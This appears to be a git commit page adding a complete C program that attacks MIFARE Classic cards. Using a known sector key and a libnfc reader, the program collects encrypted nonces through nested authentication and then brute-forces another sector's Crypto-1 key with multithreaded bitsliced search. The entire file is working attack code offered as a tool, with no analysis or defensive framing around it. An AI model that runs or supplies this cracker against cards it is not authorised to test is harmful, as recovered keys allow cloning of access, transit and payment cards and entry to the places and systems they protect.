Added libnfc-based reader/cracker
This commit is contained in:
Aram
337
libnfc_crypto1_crack.c
Normal file
337
libnfc_crypto1_crack.c
Normal file
@ -0,0 +1,337 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/sysinfo.h>
|
||||||
|
#include <nfc/nfc.h>
|
||||||
|
|
||||||
|
#include "crypto1_bs_crack.h"
|
||||||
|
|
||||||
|
extern uint64_t * crypto1_create(uint64_t key);
|
||||||
|
extern uint32_t crypto1_word(uint64_t *, uint32_t, int);
|
||||||
|
extern uint8_t crypto1_byte(uint64_t*, uint8_t, int);
|
||||||
|
extern uint32_t prng_successor(uint32_t x, uint32_t n);
|
||||||
|
extern void crypto1_destroy(uint64_t*);
|
||||||
|
|
||||||
|
#define MC_AUTH_A 0x60
|
||||||
|
#define MC_AUTH_B 0x61
|
||||||
|
|
||||||
|
nfc_device* pnd;
|
||||||
|
nfc_target target;
|
||||||
|
typedef uint8_t byte_t;
|
||||||
|
|
||||||
|
uint8_t oddparity(const uint8_t bt)
|
||||||
|
{
|
||||||
|
// cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel
|
||||||
|
return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
|
||||||
|
{
|
||||||
|
uint64_t num = 0;
|
||||||
|
while (len--) {
|
||||||
|
num = (num << 8) | (*src);
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
return num;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static nfc_context *context;
|
||||||
|
|
||||||
|
#define MAX_FRAME_LEN 264
|
||||||
|
|
||||||
|
uint64_t *nonces = NULL;
|
||||||
|
size_t nonces_collected;
|
||||||
|
|
||||||
|
void nested_auth(uint32_t uid, uint64_t known_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp)
|
||||||
|
{
|
||||||
|
uint64_t *pcs;
|
||||||
|
|
||||||
|
// Possible key counter, just continue with a previous "session"
|
||||||
|
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
||||||
|
uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
|
||||||
|
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
|
||||||
|
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
|
||||||
|
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
|
||||||
|
|
||||||
|
uint32_t Nt;
|
||||||
|
|
||||||
|
int i;
|
||||||
|
|
||||||
|
// Prepare AUTH command
|
||||||
|
Cmd[0] = target_key;
|
||||||
|
Cmd[1] = for_block;
|
||||||
|
iso14443a_crc_append(Cmd, 2);
|
||||||
|
|
||||||
|
// We need full control over the CRC
|
||||||
|
if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) {
|
||||||
|
nfc_perror(pnd, "nfc_device_set_property_bool crc");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Request plain tag-nonce
|
||||||
|
// TODO: Set NP_EASY_FRAMING option only once if possible
|
||||||
|
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) {
|
||||||
|
nfc_perror(pnd, "nfc_device_set_property_bool framing");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) {
|
||||||
|
fprintf(stdout, "Error while requesting plain tag-nonce\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) {
|
||||||
|
nfc_perror(pnd, "nfc_device_set_property_bool");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
// print_hex(Rx, 4);
|
||||||
|
|
||||||
|
// Save the tag nonce (Nt)
|
||||||
|
Nt = bytes_to_num(Rx, 4);
|
||||||
|
|
||||||
|
// Init the cipher with key {0..47} bits
|
||||||
|
pcs = crypto1_create(known_key);
|
||||||
|
|
||||||
|
// Load (plain) uid^nt into the cipher {48..79} bits
|
||||||
|
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0);
|
||||||
|
|
||||||
|
// Generate (encrypted) nr+parity by loading it into the cipher
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
// Load in, and encrypt the reader nonce (Nr)
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
|
||||||
|
ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skip 32 bits in the pseudo random generator
|
||||||
|
Nt = prng_successor(Nt, 32);
|
||||||
|
|
||||||
|
// Generate reader-answer from tag-nonce
|
||||||
|
for (i = 4; i < 8; i++) {
|
||||||
|
// Get the next random byte
|
||||||
|
Nt = prng_successor(Nt, 8);
|
||||||
|
// Encrypt the reader-answer (Nt' = suc2(Nt))
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
|
||||||
|
ArEncPar[i] = filter(*pcs) ^ oddparity(Nt);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finally we want to send arbitrary parity bits
|
||||||
|
if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) {
|
||||||
|
nfc_perror(pnd, "nfc_device_set_property_bool parity");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Transmit reader-answer
|
||||||
|
int res;
|
||||||
|
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
|
||||||
|
printf("Reader-answer transfer error, exiting..");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt the tag answer and verify that suc3(Nt) is At
|
||||||
|
Nt = prng_successor(Nt, 32);
|
||||||
|
|
||||||
|
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
|
||||||
|
printf("[At] is not Suc3(Nt), something is wrong, exiting..");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
Cmd[0] = target_key;
|
||||||
|
Cmd[1] = target_block;
|
||||||
|
iso14443a_crc_append(Cmd, 2);
|
||||||
|
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i];
|
||||||
|
ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]);
|
||||||
|
}
|
||||||
|
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
|
||||||
|
printf("Reader-answer transfer error, exiting..");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(fp){
|
||||||
|
for(i = 0; i < 4; i++){
|
||||||
|
fprintf(fp,"%02x", Rx[i]);
|
||||||
|
if(RxPar[i] != oddparity(Rx[i])){
|
||||||
|
fprintf(fp,"! ");
|
||||||
|
} else {
|
||||||
|
fprintf(fp," ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fprintf(fp, "\n");
|
||||||
|
}
|
||||||
|
if(nonces){
|
||||||
|
nonces[nonces_collected] = 0;
|
||||||
|
for(i = 0; i < 4; i++){
|
||||||
|
nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i);
|
||||||
|
bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]);
|
||||||
|
nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i));
|
||||||
|
}
|
||||||
|
nonces_collected++;
|
||||||
|
}
|
||||||
|
|
||||||
|
crypto1_destroy(pcs);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t uid;
|
||||||
|
uint32_t **space;
|
||||||
|
size_t thread_count;
|
||||||
|
size_t total_states;
|
||||||
|
void* crack_states_thread(void* x){
|
||||||
|
const size_t thread_id = (size_t)x;
|
||||||
|
int j;
|
||||||
|
for(j = thread_id; space[j * 5]; j += thread_count) {
|
||||||
|
const uint64_t key = crack_states_bitsliced(space + j * 5);
|
||||||
|
if(key != -1){
|
||||||
|
printf("Found key: %012"PRIx64"\n", key);
|
||||||
|
__sync_fetch_and_add(&keys_found, 1);
|
||||||
|
break;
|
||||||
|
} else if(keys_found){
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
printf("Cracking... %6.02f%%\n", (100.0*total_states_tested/(total_states)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void have_enough_states(int sig){
|
||||||
|
if(nonces && uid){
|
||||||
|
space = craptev1_get_space(nonces, 95, uid);
|
||||||
|
}
|
||||||
|
if(!space){
|
||||||
|
printf("\rCollected %zu nonces... ", nonces_collected);
|
||||||
|
fflush(stdout);
|
||||||
|
signal(SIGALRM, have_enough_states);
|
||||||
|
alarm(1);
|
||||||
|
} else {
|
||||||
|
alarm(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main (int argc, const char * argv[]) {
|
||||||
|
nfc_init(&context);
|
||||||
|
pnd = nfc_open(context, NULL);
|
||||||
|
|
||||||
|
if (pnd == NULL) {
|
||||||
|
printf("No NFC device connection\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
nfc_initiator_init(pnd);
|
||||||
|
|
||||||
|
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false);
|
||||||
|
// Let the reader only try once to find a tag
|
||||||
|
nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false);
|
||||||
|
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
|
||||||
|
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
|
||||||
|
|
||||||
|
const nfc_modulation nmMifare = {
|
||||||
|
.nmt = NMT_ISO14443A,
|
||||||
|
.nbr = NBR_106,
|
||||||
|
};
|
||||||
|
|
||||||
|
uid = 0;
|
||||||
|
|
||||||
|
// Enable field so more power consuming cards can power themselves up
|
||||||
|
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true);
|
||||||
|
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
|
||||||
|
uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen);
|
||||||
|
}
|
||||||
|
|
||||||
|
thread_count = get_nprocs_conf();
|
||||||
|
pthread_t threads[thread_count];
|
||||||
|
|
||||||
|
if(!uid){
|
||||||
|
goto DISCONNECT;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(argc < 4){
|
||||||
|
printf("%s <known key> <A|B> <for block> <target block>\n", argv[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t known_key = strtoul(argv[1], 0, 16);
|
||||||
|
uint8_t target_key = MC_AUTH_A;
|
||||||
|
if(argv[2][0] == 'b' || argv[2][0] == 'B'){
|
||||||
|
target_key = MC_AUTH_B;
|
||||||
|
}
|
||||||
|
uint8_t for_block = atoi(argv[3]);
|
||||||
|
uint8_t target_block = atoi(argv[4]);
|
||||||
|
|
||||||
|
char filename[20];
|
||||||
|
sprintf(filename, "0x%04x_%03u.txt", uid, target_block);
|
||||||
|
/*FILE* fp = fopen(filename, "wb+");*/
|
||||||
|
FILE* fp = fopen(filename, "wb");
|
||||||
|
|
||||||
|
printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, known_key, for_block);
|
||||||
|
nonces_collected = 0;
|
||||||
|
nonces = malloc(sizeof (uint64_t) << 24);
|
||||||
|
memset(nonces, 0xff, sizeof (uint64_t) << 24);
|
||||||
|
signal(SIGALRM, have_enough_states);
|
||||||
|
alarm(1);
|
||||||
|
|
||||||
|
while(true){
|
||||||
|
// Configure the CRC and Parity settings
|
||||||
|
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
|
||||||
|
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
|
||||||
|
// Poll for a ISO14443A (MIFARE) tag
|
||||||
|
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
|
||||||
|
nested_auth(bytes_to_num(target.nti.nai.abtUid, 4), known_key, for_block, target_block, target_key, fp);
|
||||||
|
} else {
|
||||||
|
printf("Don't move the tag!\n");
|
||||||
|
}
|
||||||
|
if(space){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(fp);
|
||||||
|
total_states = craptev1_sizeof_space(space);
|
||||||
|
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
printf("initializing BS crypto-1...\n");
|
||||||
|
crypto1_bs_init();
|
||||||
|
printf("Using %u-bit bitslices\n", MAX_BITSLICES);
|
||||||
|
|
||||||
|
uint8_t rollback_byte = **space;
|
||||||
|
printf("Bitslicing rollback byte: %02x...\n", rollback_byte);
|
||||||
|
// convert to 32 bit little-endian
|
||||||
|
crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);
|
||||||
|
|
||||||
|
printf("Bitslicing nonces...\n");
|
||||||
|
for(size_t tests = 0; tests < NONCE_TESTS; tests++){
|
||||||
|
// pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
|
||||||
|
uint32_t test_nonce = uid^rev32(nonces[tests]);
|
||||||
|
uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
|
||||||
|
test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3);
|
||||||
|
crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
|
||||||
|
// convert to 32 bit little-endian
|
||||||
|
crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
total_states_tested = 0;
|
||||||
|
keys_found = 0;
|
||||||
|
|
||||||
|
printf("Starting %zu threads to test %zu states\n", thread_count, total_states);
|
||||||
|
for(i = 0; i < thread_count; i++){
|
||||||
|
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
|
||||||
|
}
|
||||||
|
for(i = 0; i < thread_count; i++){
|
||||||
|
pthread_join(threads[i], 0);
|
||||||
|
}
|
||||||
|
printf("Tested %zu states\n", total_states_tested);
|
||||||
|
|
||||||
|
craptev1_destroy_space(space);
|
||||||
|
|
||||||
|
DISCONNECT:
|
||||||
|
// Disconnect from NFC device
|
||||||
|
nfc_close(pnd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user